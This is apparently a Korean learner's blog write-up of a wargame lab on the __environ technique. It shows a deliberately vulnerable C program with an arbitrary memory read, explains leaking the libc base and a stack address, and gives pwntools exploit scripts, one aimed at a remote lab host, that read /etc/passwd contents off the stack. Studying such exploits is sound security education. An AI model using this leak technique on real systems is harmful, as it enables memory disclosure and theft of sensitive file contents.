Jastes 2022. 11. 13. 23:00


Exploit Tech: __environ

ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฆฌํ„ด ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด lib์™€ ์ธ์ž์—์„œ ๋‹ค์–‘ํ•œ ํ•จ์ˆ˜ ํ˜ธ์ถœ!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Name: environ.c
// Compile: gcc -o environ environ.c
 
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
 
void sig_handle() {
  exit(0);
}
 
void init() {
  setvbuf(stdin, 020);
  setvbuf(stdout, 020);
 
  signal(SIGALRM, sig_handle);
  alarm(5);
}
 
void read_file() {
  char file_buf[4096];
 
  int fd = open("/etc/passwd", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
 
int main() {
  char buf[1024];
  long addr;
  int idx;
 
  init();
  read_file();
 
  printf("stdout: %p\n", stdout);
 
  while (1) {
    printf("> ");
    scanf("%d"&idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld"&addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}
cs

ํ”„๋กœ์„ธ์Šค๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๊ณ , ํ•„์š”ํ•  ๋•Œ๋งˆ๋‹ค ๋ถˆ๋Ÿฌ์™€ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
์ด๋ฒˆ์—” lib ํ•จ์ˆ˜์—์„œ ์ฐธ์กฐํ•˜๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ํฌ์ธํ„ฐ์™€ ๊ด€๋ จ๋œ ๊ณต๊ฒฉ์„ ์‹ค์Šตํ•ฉ์‹œ๋‹ค.

/etc/passwd ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ฝ๊ณ  ์Šคํƒ ๋ฒ„ํผ์— ์ €์žฅํ•˜๋Š”๊ตฐ์š”
๋ฉ”์ธ ํ•จ์ˆ˜์—์„œ๋Š” stdout ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ , ๋ฐ˜๋ณตํ•ด ์ž„์˜ ์ฃผ์†Œ์— ์žˆ๋Š” ๊ฐ’์„

์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.


ํ™˜๊ฒฝ ๋ณ€์ˆ˜

๋ชจ๋“  ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์กด์žฌํ•˜๊ธฐ์— ๋ชจ๋“  OS๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜(environment ariable)๋Š”
๋งค๋ฒˆ ๋ณ€ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ ์ธ ๊ฐ’๋“ค์˜ ๋ชจ์ž„์œผ๋กœ, ์‹œ์Šคํ…œ์˜ ์ •๋ณด๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค.

์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์ถ”๊ฐ€ ๋ฐ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค. ๋ฆฌ๋ˆ…์Šค์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ช…๋ น์–ด๋“ค์€
'/bin', '/usr/bin'๋“ฑ์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ํ™˜๊ฒฝ ๋ณ€์ˆ˜์— ๋ช…์‹œ๋œ
dir์—์„œ ๋ช…๋ น์–ด๋ฅผ ํƒ์ƒ‰, ์‹คํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ช…๋ น์–ด์˜ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„๋„ ๋ฉ๋‹ˆ๋‹ค.

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋Š” ํ„ฐ๋ฏธ๋„ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„ ์ฐธ์กฐ๋˜๊ธฐ์— ํ”„๋กœ๊ทธ๋žจ์—์„œ๋„
๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ์œผ๋ฉฐ, ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅ X ๋ช…๋ น์–ด ์‹คํ–‰ ๊ฐ€๋Šฅ!
์ด ๋˜ํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋กœ๋“œํ•˜๋ฉด์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ดˆ๊ธฐํ™” ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ณต๊ฒฉํ•  ๋•Œ ์ƒํ™ฉ์— ๋”ฐ๋ผ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•  ๋•Œ๊ฐ€ ์ข…์ข… ์žˆ์Šต๋‹ˆ๋‹ค.

 ๊ทธ๋Ÿฌ๋‚˜ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฆฌ๋ˆ…์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์Šคํƒ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋ช…๋ น์–ด์˜ ๊ฒฝ๋กœ ์ž…๋ ฅ X ๋•Œ๋ฌธ์— ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ „์—ญ ๋ณ€์ˆ˜์— ์ €์žฅํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ์ง€ ์•Š๋Š” ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฃผ์†Œ ๋‚ด์—์„œ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ํ™˜๊ฒฝ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์Šคํƒ ์˜์—ญ์— ์กด์žฌํ•˜๋ฉฐ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ๋•Œ์—๋„ ํ•ด๋‹น ์ •๋ณด๋ฅผ ์ฐธ์กฐํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ๊ฐ€ ๋ณ„๋„๋กœ ์„ ์–ธ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ, ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ์ž„์˜์˜ ์ฃผ์†Œ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

__environ

์œ„ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด libc.so.6(docker์—์„œ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฑฐ ๊ฐ™์€๋ฐ ๋„์ปค ํ™˜๊ฒฝ ๊ตฌ์ถ• ๋ฐ ๊ธฐํƒ€ ๊ณต๋ถ€.. ใ… )
environ ์‹ฌ๋ณผ์„ ์ฐพ๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, __environ์ด๋ผ๋Š” ์ด๋ฆ„์˜ ์ „์—ญ ๋ณ€์ˆ˜๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
์ด๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ execve ๊ณ„์—ด์˜ ํ•จ์ˆ˜์™€ getenv ๋“ฑ ํ™˜๊ฒฝ๋ณ€์ˆ˜์™€ ๊ด€๋ จ๋œ ํ•จ์ˆ˜ ์ฐธ์กฐ ๋ณ€์ˆ˜๋กœ
๊ทธ๋ ‡๋‹ค๋ฉด, ์•ž์„œ ์ปดํŒŒ์ผ ํ•œ ์˜ˆ์ œ๋ฅผ ๋””๋ฒ„๊น…ํ•˜์—ฌ ํ•ด๋‹น ํฌ์ธํ„ฐ์— ์–ด๋–ค ์ฃผ์†Œ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

๋งˆ์ง€๋ง‰์€.. ์ €๋ ‡๊ฒŒ ๋‚˜์˜ค๋ฉด ์•ˆ๋˜๋Š”๋ฐ ์œผ์Œ..

__environ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•˜๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๊ฐ€ ๊ฐ€๋ฅดํ‚ค๋Š” ์˜์—ญ์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ์ž…๋‹ˆ๋‹ค.
์ด๋Š” ๋”๋ธ” ํฌ์ธํ„ฐ(!)๋กœ, ๊ฐ ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ๋ฌธ์ž์—ด์ด ํฌํ•จ๋œ ์ฃผ์†Œ๋ฅผ ๊ฐ–๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ,
ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ vmmap ๋ช…๋ น์–ด๋กœ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์Šคํƒ ์˜์—ญ์ž„์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŒ์•ฝ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๊ณ , ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋‹ค๋ฉด..
์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋ฆญํ•˜๊ณ  ๊ณต๊ฒฉ์— ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


exploit ์„ค๊ณ„

 __environ ์ฃผ์†Œ ๊ณ„์‚ฐ

์˜ˆ์ œ์—์„œ ์ œ๊ณตํ•œ stdout lib ํฌ์ธํ„ฐ๋ฅผ ํ†ตํ•ด ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ ,
__environ ํฌ์ธํ„ฐ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒ…๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐ ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ์™€ ์—ฐ์‚ฐํ•˜์—ฌ ์‰ฝ๊ฒŒ ์•Œ ์ˆ˜ ์žˆ์Œ!

์Šคํƒ ์ฃผ์†Œ ๊ณ„์‚ฐ

__environ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, ์˜ˆ์ œ์˜ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ ,
"/etc/passwd" ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ฃผ์†Œ๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜์™€ ์ƒ๋Œ€์ ์ธ ๊ฑฐ๋ฆฌ๊ฐ€ ๋งค๋ฒˆ ๊ฐ™์œผ๋ฏ€๋กœ, ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค.

ํŒŒ์ผ ๋‚ด์šฉ ์ฝ๊ธฐ

ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด,
์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค


read_file() ํ•จ์ˆ˜์—์„œ flag์„ ์—ด๊ณ  ์ฝ๊ณ  ์žˆ๊ธฐ์— stdout์œผ๋กœ lib_base์™€ ์ด๋ฒˆ์—” ๋กœ๋”๊ฐ€ ์•„๋‹Œ
์Šคํƒ ์ธ์ž๋ฅผ ํ†ตํ•ด ์•Œ์•„๋ด…์‹œ๋‹ค. ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋ฏ€๋กœ..
์œ„ ๋‚ด์šฉ์œผ๋กœ ๋”ฐ๋ผ๊ฐ„๋‹ค๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Exploit code

1. __environ ์ฃผ์†Œ ๊ณ„์‚ฐ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Name: environ.py
from pwn import *
 
= process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
p.recvuntil(": ")
 
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
 
print(hex(libc_base))
print(hex(libc_environ))
 
p.interactive()
cs

stdout ์ฃผ์†Œ๋ฅผ ํš๋“ํ•˜๊ณ , lib์—์„œ ํ•ด๋‹น ์‹ฌ๋ณผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ ๋’ค lib_base๋ฅผ ์•Œ์•„๋‚ด๊ณ ,
์ดํ›„ ์•ž์„œ ์•Œ์•„๋ณธ __environ ํฌ์ธํ„ฐ์˜ ์‹ฌ๋ณผ ์ฃผ์†Œ๋ฅผ ๋”ํ•ด ํ•ด๋‹น ํฌ์ธํ„ฐ๋„ ๊ตฌํ•ฉ์‹œ๋‹ค.

์œ„ ์ฝ”๋“œ๋Š” pwn๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ณ„์‚ฐํ•œ ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.


2. stack address solve

__environ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๊ณ ,
์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํŒŒ์ผ์˜ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ ๋‚ด์šฉ์ด ์ €์žฅ๋œ ์Šคํƒ ๋ฒ„ํผ์™€ __environ ๋ณ€์ˆ˜๊ฐ€ ๊ฐ€๋ฅดํ‚ค๋Š” ์Šคํƒ ์ฃผ์†Œ์˜ ๊ฑฐ๋ฆฌ ๊ฐ„๊ฒฉ์€..
์•„๋ž˜ ์ด๋ฏธ์ง€๋ฅผ ํ†ตํ•ด ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

01

์ฐธ๊ณ ๋กœ ๋งˆ์ง€๋ง‰์€(๋˜ ํ™˜๊ฒฝ ๋ฌธ์ œ.. ์ด๊ฑฐ ๊ณผ์ œ ๋๋‚ธ ํ›„ ๋‹ค์‹œ ํ•œ๋ฒˆ ์ „์ฒด์ ์œผ๋กœ ํ•ด๋ด์•ผ๊ฒ ๋„ค์š” ใ… )
0x1538๋กœ ๋‚˜์™€์•ผํ•ด์š”

๋‚˜๋จธ์ง€๋Š” ์ด๋ฏธ์ง€์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ธฐ์— ๋‹ค์Œ์œผ๋กœ ๋„˜์–ด๊ฐ‘์‹œ๋‹น


3. ํŒŒ์ผ ๋‚ด์šฉ ์ฝ๊ธฐ

๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์„ ์•Œ์•„๋ƒˆ๋‹ค๋ฉด, __environ ์ฃผ์†Œ์—์„œ ๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์ธ 0x1538์„
๋บ€ ์ฃผ์†Œ๋ฅผ ์ž„์˜ ์ฃผ์†Œ ์ฝ๊ธฐ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Name: environ.py
from pwn import *
 
#p = process("./environ_exercise")
= remote('host3.dreamhack.games'10123)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
 
p.recvuntil(": ")
 
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
 
log.info(f'libc_base : {hex(libc_base)}')
log.info(f'libc_environ : {hex(libc_environ)}')
 
p.sendlineafter(">""1")
p.sendlineafter(":"str(libc_environ))
 
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00")) 
#stack_environ = u64(p.recvuntil("\x7f").ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
 
log.info(f'stack_environ: {hex(stack_environ)}')
log.info(f'file_content {hex(file_content)}')
 
p.sendlineafter(">""1")
p.sendlineafter(":"str(file_content))
 
p.interactive()
cs

์œ„์—๋Š” ์—ฌ๊ธฐ์„œ ํ•„์š”ํ•œ lib์˜ ์‹ฌ๋ณผ๊ฐ’ ๊ทธ๋ฆฌ๊ณ  leak์˜ ๊ตฌํ•œ ๋ชจ์Šต์ด๋ฉฐ, ์œ„์—์„œ ์„ค๋ช…ํ–ˆ์œผ๋ฉฐ,
1๋ฒˆ์„ ๋„ฃ์–ด์„œ ์ฃผ์†Œ ๊ฐ’์„ lib_base๋ฅผ ๋„ฃ์œผ๋ฉฐ ์ธ์ž์˜ ํฌ์ธํ„ฐ์˜ ์œ„์น˜์™€ ๊ทธ์ „์— ๊ตฌํ•œ
/etc/passwd ํŒŒ์ผ์˜ offset์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๋นผ์„œ ๊ตฌํ•œ๋‹ค๋ฉด์š”

ํ•ด๋‹น ๊ตฌํ• ๋ ค๋Š” flag์˜ ํŒŒ์ผ์˜ ํฌ์ธํ„ฐ์˜ ์œ„์น˜ ์ฆ‰, ํ•ด๋‹น ํŒŒ์ผ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€